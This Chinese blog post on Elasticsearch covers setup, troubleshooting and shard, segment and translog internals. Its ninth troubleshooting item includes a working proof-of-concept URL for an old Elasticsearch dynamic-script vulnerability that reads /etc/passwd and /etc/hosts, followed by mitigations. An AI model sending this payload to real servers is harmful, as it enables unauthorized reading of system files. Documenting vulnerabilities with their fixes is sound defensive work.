搜索引擎

小白 专栏收录该内容
12 篇文章 0 订阅

搜索引擎

搜索引擎
一. 什么是收索引擎
搜索引擎(Search Engine)是指:根据一定的策略、运用特定的计算机程序从互联网上搜集信息,在对信息进行组织和处理后,为用户提供检索服务,将用户检索相关的信息展示给用户的系统。比如百度就是一款比较流行的搜索引擎。

二.常用的收索引擎有哪些,区别
搜索引擎包括全文索引、目录索引、元搜索引擎、垂直搜索引擎、集合式搜索引擎、门户搜索引擎与免费链接列表
全文索引、目录索引的区别
1、搜索引擎属于自动网站检索,而目录索引则完全依赖手工操作。
2、搜索引擎收录网站时,只要网站本身没有违反有关的规则,一般都能登录成功。而目录索引对网站的要求则高得多,有时即使登录多次也不一定成功。
3、在登录搜索引擎时,我们一般不用考虑网站的分类问题,而登录目录索引时则必须将网站放在一个最合适的目录。
4、搜索引擎中各网站的有关信息都是从用户网页中自动提取的,用户的我们拥有更多的自主权;而目录索引则要求必须手工另外填写网站信息,而且还有各种各样的限制。

三.项目中如何使用ES,

1.下载安装elasticsearch
2.下载安装elasticsearch-head插件,图形化界面操作
3.将原有项目数据库数据和ES库连接同步,此处用到工具elasticsearch-jdbc
4.将查询或操作的数据源切换到ES库

四.ES的HEAD插件有什么作用,
1.显示集群的拓扑,并且能够执行索引和节点级别操作
2.搜索接口能够查询集群中原始json或表格格式的检索数据
3.能够快速访问并显示集群的状态
4.有一个输入窗口,允许任意调用RESTful API。这个接口包含几个选项,可以组合在一起以产生不同的结果;
5.请求方法(get、put、post、delete),查询json数据,节点和路径
6.支持JSON验证器
7.支持重复请求计时器
8.支持使用javascript表达式变换结果
五.ES如何配置IK分词器,常用分词器区别
https://www.cnblogs.com/buxiangbuliang/p/9488162.html
六.如何自定义词库
https://blog.csdn.net/Barbarousgrowth_yp/article/details/80242811

七.如何实现ES和数据库同步
https://blog.csdn.net/qq_40670946/article/details/82181005

八.项目使用情况,以及解决
1.由gc引起节点脱离集群

因为gc时会使jvm停止工作,如果某个节点gc时间过长,master ping3次(zen discovery默认ping失败重试3次)不通后就会把该节点剔除出集群,从而导致索引进行重新分配。

解决方法:

(1)优化gc,减少gc时间。

(2)调大zen discovery的重试次数(es参数:ping_retries)和超时时间(es参数:ping_timeout)。

后来发现根本原因是有个节点的系统所在硬盘满了。导致系统性能下降。

2.out of memory错误

因为默认情况下es对字段数据缓存(Field Data Cache)大小是无限制的,查询时会把字段值放到内存,特别是facet查询,对内存要求非常高,它会把结果都放在内存,然后进行排序等操作,一直使用内存,直到内存用完,当内存不够用时就有可能出现out of memory错误。

解决方法:

(1)设置es的缓存类型为Soft Reference,它的主要特点是据有较强的引用功能。只有当内存不够的时候,才进行回收这类内存,因此在内存足够的时候,它们通常不被回收。另外,这些引 用对象还能保证在Java抛出OutOfMemory 异常之前,被设置为null。它可以用于实现一些常用图片的缓存,实现Cache的功能,保证最大限度的使用内存而不引起OutOfMemory。在es的配置文件加上index.cache.field.type: soft即可。

(2)设置es最大缓存数据条数和缓存失效时间,通过设置index.cache.field.max_size: 50000来把缓存field的最大值设置为50000,设置index.cache.field.expire: 10m把过期时间设置成10分钟。

3.无法创建本地线程问题

es恢复时报错: RecoverFilesRecoveryException[[index][3] Failed to transfer [215] files with total size of [9.4gb]]; nested: OutOfMemoryError[unable to create new native thread]; ]]

刚开始以为是文件句柄数限制,但想到之前报的是too many open file这个错误,并且也把数据改大了。查资料得知一个进程的jvm进程的最大线程数为:虚拟内存/(堆栈大小10241024),也就是说虚拟内存越大或堆栈越小,能创建的线程越多。重新设置后还是会报那这错,按理说可创建线程数完全够用了的,就想是不是系统的一些限制。后来在网上找到说是max user processes的问题,这个值默认是1024,这个参数单看名字是用户最大打开的进程数,但看官方说明,就是用户最多可创建线程数,因为一个进程最少有一个线程,所以间接影响到最大进程数。调大这个参数后就没有报这个错了。

解决方法:

(1)增大jvm的heap内存或降低xss堆栈大小(默认的是512K)。

(2)打开/etc/security/limits.conf ,把soft nproc 1024这行的1024改大就行了。

4.集群状态为黄色时并发插入数据报错

[7]: index [index], type [index], id [1569133], message [UnavailableShardsException[[index][1] [4] shardIt, [2] active : Timeout waiting for [1m], request: org.elasticsearch.action.bulk.BulkShardRequest@5989fa07]]

这是错误信息,当时集群状态为黄色,即副本没有分配。当时副本设置为2,只有一个节点,当你设置的副本大于可分配的机器时,此时如果你插入数据就有可能报上面的错,因为es的写一致性默认是使用quorum,即quorum值必须大于(副本数/2+1),我这里2/2+1=2也就是说要要至少插入到两份索引中,由于只有一个节点,quorum等于1,所以只插入到主索引,副本找不到从而报上面那个错。

解决方法:

(1)去掉没分配的副本。

(2)把写一致性改成one,即只写入一份索引就行。

5.设置jvm锁住内存时启动警告

当设置bootstrap.mlockall: true时,启动es报警告Unknown mlockall error 0,因为linux系统默认能让进程锁住的内存为45k。

解决方法:设置为无限制,linux命令:ulimit -l unlimited

6.错误使用api导致集群卡死

其实这个是很低级的错误。功能就是更新一些数据,可能会对一些数据进行删除,但删除时同事使用了deleteByQuery这个接口,通过构造BoolQuery把要删除数据的id传进去,查出这些数据删除。但问题是BoolQuery最多只支持1024个条件,100个条件都已经很多了,所以这样的查询一下子就把es集群卡死了。

解决方法:用bulkRequest进行批量删除操作。

7.org.elasticsearch.transport.RemoteTransportException: Failed to deserialize exception response from stream

原因:es节点之间的JDK版本不一样

解决方法:统一JDK环境

8 . org.elasticsearch.client.transport.NoNodeAvailableException: No node available

1) 端口错

client = new TransportClient().addTransportAddress(new InetSocketTransportAddress(ipAddress, 9300));

这里9300 写成9200的话会No node available

要是你连的不是本机,注意IP有没有正确

2 )jar报引用版本不匹配,开启的服务是什么版本,引用的jar最好匹配(这个我没有去试,反正我的是匹配的)

3) 要是你改了集群名字,还有设置集群名字

Settings settings = ImmutableSettings.settingsBuilder().put(“cluster.name”, “xxx”).build(); client = new TransportClient(settings).addTransportAddress(new InetSocketTransportAddress(ipAddress, 9300));

4)集群超过5s没有响应

解决方法1.设置client.transport.ping_timeout设大

2.代码内加入while (true) {

try {

bulk.execute().actionGet(getRetryTimeout());

break;

}

catch (NoNodeAvailableException cont) {

Thread.sleep(5000);

continue;

}

}

9.elasticsearch 近日被发现漏洞,可以远程执行任意代码,由于 elasticsearch提供了http接口,导致可能通过CSRF等方式借助恶意页面浏览发生攻击 。

漏洞影响版本:

elasticsearch 1.2以下

测试代码:

http:// ESSERVERIP :9200/search?source=%7B%22size%22%3A1%2C%22query%22%3A%7B%22filtered%22%3A%7B%22query%22%3A%7B%22match_all%22%3A%7B%7D%7D%7D%7D%2C%22script_fields%22%3A%7B%22%2Fetc%2Fhosts%22%3A%7B%22script%22%3A%22import%20java.util.%3B%5Cnimport%20java.io.%3B%5Cnnew%20Scanner(new%20File(%5C%22%2Fetc%2Fhosts%5C%22)).useDelimiter(%5C%22%5C%5C%5C%5CZ%5C%22).next()%3B%22%7D%2C%22%2Fetc%2Fpasswd%22%3A%7B%22script%22%3A%22import%20java.util.%3B%5Cnimport%20java.io.%3B%5Cnnew%20Scanner(new%20File(%5C%22%2Fetc%2Fpasswd%5C%22)).useDelimiter(%5C%22%5C%5C%5C%5CZ%5C%22).next()%3B%22%7D%7D%7D&callback=jQuery111102863897154977554_1400571156308&=1400571156309

浏览器会返回/etc/passwd内容

解决方案 :

1、在配置文件elasticsearch.yml里设置script.disable_dynamic: true

2、严格限制可访问elasticsearch服务的IP地址

九.个人补充
简介
ElasticSearch(以下简称ES)是一个基于Lucene构建的开源(open-source),分布式(distributed),RESTful,实时(real-time)的搜索与分析(analytics)引擎。它可以让你在浏览数据时具备非常快的速度和优秀的可扩展性。它用于全文索引、结构化数据索引、数据分析以及三者的结合。它可以运行在你的笔记本上,或者扩展至数百台的服务器节点上来处理PB级的数据。 ES建立在Lucene的基础之上,但是Lucene仅仅是一个库,如果要发挥它的优势,你必须使用它然后再结合自己的开发来构造一个具体的应用。更坏的是你必须了解Lucene才能更好的使用它,但是Lucene本身就很复杂。所以ES意在取Lucene的优点,隐蔽其复杂性来构造一个简洁易用的RESTful风格的全文搜索引擎。
与关系型数据库的名词对照
Relational DB => Databases => Tables => Rows => Columns Elasticsearch => Indices => Types => Documents => Fields
设计原理
创建一个索引—index,shard,cluster
将数据添加到ES的前提是,我们需要一个索引(名词):index——一个存储与这个索引相对应数据的地方。实际上,index仅仅只是一个命名空间来指向一个或多个实际的物理分片(shard)。
一个分片(shard)是一个比较低层的工作单元来处理这个索引(index)的所有数据的一个切片(slice)。一个shard实际上是一个Lucene实例,在它的能力范围内拥有完整的搜索功能(在处理它自己拥有的数据时有所有的功能)。我们所有文档的索引indexed(动词)和存储工作都是在shard上,但这是透明的,我们不需要直接和shard通信,而是和我们创建的index(名词)通信。
shards是ES将数据分布式在你的集群的关键。想象下shards是数据的容器,文档存储在shards里,而shards被分配在集群的每一个节点Node里。当你的集群规模增长和降低时,ES会自动的在Nodes间迁移shards以保持集群的负载均衡。
shard的分类与作用:
shard可分为primary shard和replica shard。 在一个index里的每一个文档都属于一个单独的primary shard,所以primary shard的数量决定了你最大能存储的数据量(对应于一个index)。
注意:shard是归属与index的,而不是cluster的。
replica shard是primary shard的拷贝。replica有两个作用: 1.冗余容灾 2.提供读请求服务,例如搜索或读取文档
primary shard的数量在索引创建时确定后不能修改,replica可以在任何时候修改。 例: 见Figure2,在2.1的集群上创建一个index,拥有3个primary shards以及1个replica shards。

由于只有一台Node,而Primary shard的Replicas与其在同一台节点上毫无意义,所以集群没有初始化replicas,这时添加另外一台Node。见Figure3,每一个primary shard初始化了一个replica。

2.3 水平扩容
当我们继续添加一台节点时,Node1和Node2中的各取一个shard移动到了Node3.见Figure4

这样,我们每一台Node上只有两个shard。这就意味着每一台Node的硬件资源(CPU,RAM,I/O)将会被更少的shards共享,提高了每一个shard的性能。在这个案例中,6个shards最多可使用6台Node,这样每个shard就可以使用100%的node硬件资源。
现在我们修改replica的数量到2,如Figure5

这样我们就有了一个3primary shards,6replica shards的Cluster。我们可将Node提高到9台。水平扩容了集群性能。
2.4 容灾
我们杀掉的是master节点。一个Cluster必须要有master以保证集群的功能正常。所以集群要做的第一件事是选择一个新的master:Node2. 当我们杀掉1节点时,Primary shards 1和2丢失了。如果丢失了primary shard,index(名词)将不能正常的工作。此时P1和P2的拷贝存在Node2和Node3上。所以此时新升级的master(Node2)将做的第一件事就是将NODE2和NODE3上的replica shard1和replica shard2升级为primary shard。此时如果我们杀掉NODE2,整个集群的容灾过程同理,还是可以正常运行。
这时,如果我们重启了NODE1,cluster将会重新分配缺少的两个replica shards(现在每个primary shard只有2个replicas,配置是3个,缺少2个)。如果NODE1的数据是旧的,那么它将会继续利用它们,NODE1只会从现在的Primary Shards拷贝这期间更改的数据。
2.5 分布式文档存储
2.5.1 Shards文档路由
当你对一个文档建立索引时,它仅存储在一个primary shard上。ES是怎么知道一个文档应该属于哪个shard?当你创建一个新的文档时,ES是怎么知道应该把它存储至shard1还是shard2? 这个过程不能随机无规律的,因为以后我们还要将它取出来。它的路由算法是:
shard = hash(routing) % numberofprimary_shards
routing的值可以是文档的id,也可以是用户自己设置的一个值。hash将会根据routing算出一个数值然后%primaryshards的数量。这也是为什么primary_shards在index创建时就不能修改的原因。
问题:当看到这里时,产生了一个问题:ES为什么要这样设计路由算法,这样就强制使primaryshards不可变,不利于以后index的扩容,除非事前就要对数据规模有所评估来设计可扩展的index。为什么不能使用一致性hash解决primaryshards改变时的情况呢?
2.5.2 Primary/Replica Shards的交互
假如我们有Figure8的集群。我们可以向这个集群的任何一台NODE发送请求,每一个NODE都有能力处理请求。每一个NODE都知道每一个文档所在的位置所以可以直接将请求路由过去。下面的例子,我们将所有的请求都发送到NODE1。

注:最好的实践方式是轮询所有的NODE来发送请求,以达到请求负载均衡。
写操作
创建、索引、删除文档都是写操作,这些操作必须在primary shard完全成功后才能拷贝至其对应的replicas上。见Figure9。

下面是Figure9的步骤:
1.客户端向Node1发送写操作的请求。
2.Node1使用文档的_id来决定这个文档属于shard0,然后将请求路由至NODE3,P0所在的位置。
3.Node3在P0上执行了请求。如果请求成功,则将请求并行的路由至NODE1 NODE2的R0上。当所有的replicas报告成功后,NODE3向请求的node(NODE1)发送成功报告,NODE1再报告至Client。
当客户端收到执行成功后,操作已经在Primary shard和所有的replica shards上执行成功了。
当然,有一些请求参数可以修改这个逻辑。见原文。
读操作
一个文档可以在primary shard和所有的replica shard上读取。见Figure10

读操作步骤:
1.客户端发送Get请求到NODE1。
2.NODE1使用文档的_id决定文档属于shard 0.shard 0的所有拷贝存在于所有3个节点上。这次,它将请求路由至NODE2。
3.NODE2将文档返回给NODE1,NODE1将文档返回给客户端。 对于读请求,请求节点(NODE1)将在每次请求到来时都选择一个不同的replica。
shard来达到负载均衡。使用轮询策略轮询所有的replica shards。
更新操作
更新操作,结合了以上的两个操作:读、写。见Figure11

步骤:
1.客户端发送更新操作请求至NODE1
2.NODE1将请求路由至NODE3,Primary shard所在的位置
3.NODE3从P0读取文档,改变source字段的JSON内容,然后试图重新对修改后的数据在P0做索引。如果此时这个文档已经被其他的进程修改了,那么它将重新执行3步骤,这个过程如果超过了retryon_conflict设置的次数,就放弃。
4.如果NODE3成功更新了文档,它将并行的将新版本的文档同步到NODE1和NODE2的replica shards重新建立索引。一旦所有的replica
shards报告成功,NODE3向被请求的节点(NODE1)返回成功,然后NODE1向客户端返回成功。
2.6 Shard
本节将解决以下问题:
为什么搜索是实时的
为什么文档的CRUD操作是实时的
ES怎么保障你的更新在宕机的时候不会丢失
为什么删除文档不会立即释放空间
2.6.1不变性

写到磁盘的倒序索引是不变的:自从写到磁盘就再也不变。 这会有很多好处:
不需要添加锁。如果你从来不用更新索引,那么你就不用担心多个进程在同一时间改变索引。
一旦索引被内核的文件系统做了Cache,它就会待在那因为它不会改变。只要内核有足够的缓冲空间,绝大多数的读操作会直接从内存而不需要经过磁盘。这大大提升了性能。
其他的缓存(例如fiter cache)在索引的生命周期内保持有效,它们不需要每次数据修改时重构,因为数据不变。
写一个单一的大的倒序索引可以让数据压缩,减少了磁盘I/O的消耗以及缓存索引所需的RAM。
当然,索引的不变性也有缺点。如果你想让新修改过的文档可以被搜索到,你必须重新构建整个索引。这在一个index可以容纳的数据量和一个索引可以更新的频率上都是一个限制。
2.6.2动态更新索引
如何在不丢失不变形的好处下让倒序索引可以更改?答案是:使用不只一个的索引。 新添额外的索引来反映新的更改来替代重写所有倒序索引的方案。 Lucene引进了per-segment搜索的概念。一个segment是一个完整的倒序索引的子集,所以现在index在Lucene中的含义就是一个segments的集合,每个segment都包含一些提交点(commit point)。见Figure16。新的文档建立时首先在内存建立索引buffer,见Figure17。然后再被写入到磁盘的segment,见Figure18。

一个per-segment的工作流程如下:
1.新的文档在内存中组织,见Figure17。
2.每隔一段时间,buffer将会被提交: 一个新的segment(一个额外的新的倒序索引)将被写到磁盘 一个新的提交点(commit point)被写入磁盘,将包含新的segment的名称。 磁盘fsync,所有在内核文件系统中的数据等待被写入到磁盘,来保障它们被物理写入。
3.新的segment被打开,使它包含的文档可以被索引。
4.内存中的buffer将被清理,准备接收新的文档。
当一个新的请求来时,会遍历所有的segments。词条分析程序会聚合所有的segments来保障每个文档和词条相关性的准确。通过这种方式,新的文档轻量的可以被添加到对应的索引中。
删除和更新
segments是不变的,所以文档不能从旧的segments中删除,也不能在旧的segments中更新来映射一个新的文档版本。取之的是,每一个提交点都会包含一个.del文件,列举了哪一个segmen的哪一个文档已经被删除了。 当一个文档被”删除”了,它仅仅是在.del文件里被标记了一下。被”删除”的文档依旧可以被索引到,但是它将会在最终结果返回时被移除掉。
文档的更新同理:当文档更新时,旧版本的文档将会被标记为删除,新版本的文档在新的segment中建立索引。也许新旧版本的文档都会本检索到,但是旧版本的文档会在最终结果返回时被移除。
2.6.3实时索引
在上述的per-segment搜索的机制下,新的文档会在分钟级内被索引,但是还不够快。 瓶颈在磁盘。将新的segment提交到磁盘需要fsync来保障物理写入。但是fsync是很耗时的。它不能在每次文档更新时就被调用,否则性能会很低。 现在需要一种轻便的方式能使新的文档可以被索引,这就意味着不能使用fsync来保障。 在ES和物理磁盘之间是内核的文件系统缓存。之前的描述中,Figure19,Figure20,在内存中索引的文档会被写入到一个新的segment。但是现在我们将segment首先写入到内核的文件系统缓存,这个过程很轻量,然后再flush到磁盘,这个过程很耗时。但是一旦一个segment文件在内核的缓存中,它可以被打开被读取。

2.6.4更新持久化
不使用fsync将数据flush到磁盘,我们不能保障在断电后或者进程死掉后数据不丢失。ES是可靠的,它可以保障数据被持久化到磁盘。 在2.6.2中,一个完全的提交会将segments写入到磁盘,并且写一个提交点,列出所有已知的segments。当ES启动或者重新打开一个index时,它会利用这个提交点来决定哪些segments属于当前的shard。 如果在提交点时,文档被修改会怎么样?不希望丢失这些修改:
1.当一个文档被索引时,它会被添加到in-memory buffer,并且添加到Translog日志中,见Figure21.

2.refresh操作会让shard处于Figure22的状态:每秒中,shard都会被refreshed:

在in-memory buffer中的文档会被写入到一个新的segment,但没有fsync。
in-memory buffer被清空
3.这个过程将会持续进行:新的文档将被添加到in-memory buffer和translog日志中,见Figure23

4.一段时间后,当translog变得非常大时,索引将会被flush,新的translog将会建立,一个完全的提交进行完毕。见Figure24

在in-memory中的所有文档将被写入到新的segment
内核文件系统会被fsync到磁盘。
旧的translog日志被删除
translog日志提供了一个所有还未被flush到磁盘的操作的持久化记录。当ES启动的时候,它会使用最新的commit point从磁盘恢复所有已有的segments,然后将重现所有在translog里面的操作来添加更新,这些更新发生在最新的一次commit的记录之后还未被fsync。
translog日志也可以用来提供实时的CRUD。当你试图通过文档ID来读取、更新、删除一个文档时,它会首先检查translog日志看看有没有最新的更新,然后再从响应的segment中获得文档。这意味着它每次都会对最新版本的文档做操作,并且是实时的。
2.6.5 Segment合并
通过每隔一秒的自动刷新机制会创建一个新的segment,用不了多久就会有很多的segment。segment会消耗系统的文件句柄,内存,CPU时钟。最重要的是,每一次请求都会依次检查所有的segment。segment越多,检索就会越慢。
ES通过在后台merge这些segment的方式解决这个问题。小的segment merge到大的,大的merge到更大的。。。
这个过程也是那些被”删除”的文档真正被清除出文件系统的过程,因为被标记为删除的文档不会被拷贝到大的segment中。
合并过程如Figure25:

1.当在建立索引过程中,refresh进程会创建新的segments然后打开他们以供索引。
2.merge进程会选择一些小的segments然后merge到一个大的segment中。这个过程不会打断检索和创建索引。
3.Figure26,一旦merge完成,旧的segments将被删除
新的segment被flush到磁盘
一个新的提交点被写入,包括新的segment,排除旧的小的segments
新的segment打开以供索引
旧的segments被删除
merge大的segments会消耗大量的I/O和CPU,严重影响索引性能。默认,ES会节制merge过程来给留下足够多的系统资源。

  • 1
    点赞
  • 0
    评论
  • 25
    收藏
  • 打赏
    打赏
  • 扫一扫,分享海报

表情包
插入表情
评论将由博主筛选后显示,对所有人可见 | 还能输入1000个字符
©️2022 CSDN 皮肤主题:大白 设计师:CSDN官方博客 返回首页

打赏作者

演绎不了的灬离歌

你的鼓励将是我创作的最大动力

¥2 ¥4 ¥6 ¥10 ¥20
输入1-500的整数
余额支付 (余额:-- )
扫码支付
扫码支付:¥2
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、C币套餐、付费专栏及课程。

余额充值